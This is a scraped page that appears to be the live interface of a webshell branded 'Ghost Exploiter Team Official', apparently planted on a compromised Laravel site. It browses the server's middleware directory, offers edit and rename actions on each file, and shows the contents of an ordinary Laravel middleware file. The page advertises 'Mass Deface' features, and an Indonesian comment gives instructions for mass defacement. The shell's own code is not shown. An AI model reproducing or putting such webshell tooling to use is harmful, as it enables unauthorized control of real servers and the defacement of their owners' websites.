webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
laravel
/
framework
/
src
/
Illuminate
/
Foundation
/
Http
/
Middleware
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
CheckForMaintenanceMode
...
0.136KB
edt
ren
ConvertEmptyStringsToNu
...
1.344KB
edt
ren
HandlePrecognitiveReque
...
2.392KB
edt
ren
PreventRequestsDuringMa
...
4.685KB
edt
ren
TransformsRequest.php
2.047KB
edt
ren
TrimStrings.php
1.646KB
edt
ren
ValidatePostSize.php
1.193KB
edt
ren
VerifyCsrfToken.php
5.914KB
edt
ren
<?php namespace Illuminate\Foundation\Http\Middleware; use Closure; class ConvertEmptyStringsToNull extends TransformsRequest { /** * All of the registered skip callbacks. * * @var array */ protected static $skipCallbacks = []; /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { foreach (static::$skipCallbacks as $callback) { if ($callback($request)) { return $next($request); } } return parent::handle($request, $next); } /** * Transform the given value. * * @param string $key * @param mixed $value * @return mixed */ protected function transform($key, $value) { return $value === '' ? null : $value; } /** * Register a callback that instructs the middleware to be skipped. * * @param \Closure $callback * @return void */ public static function skipWhen(Closure $callback) { static::$skipCallbacks[] = $callback; } /** * Flush the middleware's global state. * * @return void */ public static function flushState() { static::$skipCallbacks = []; } }
<=Back
Liking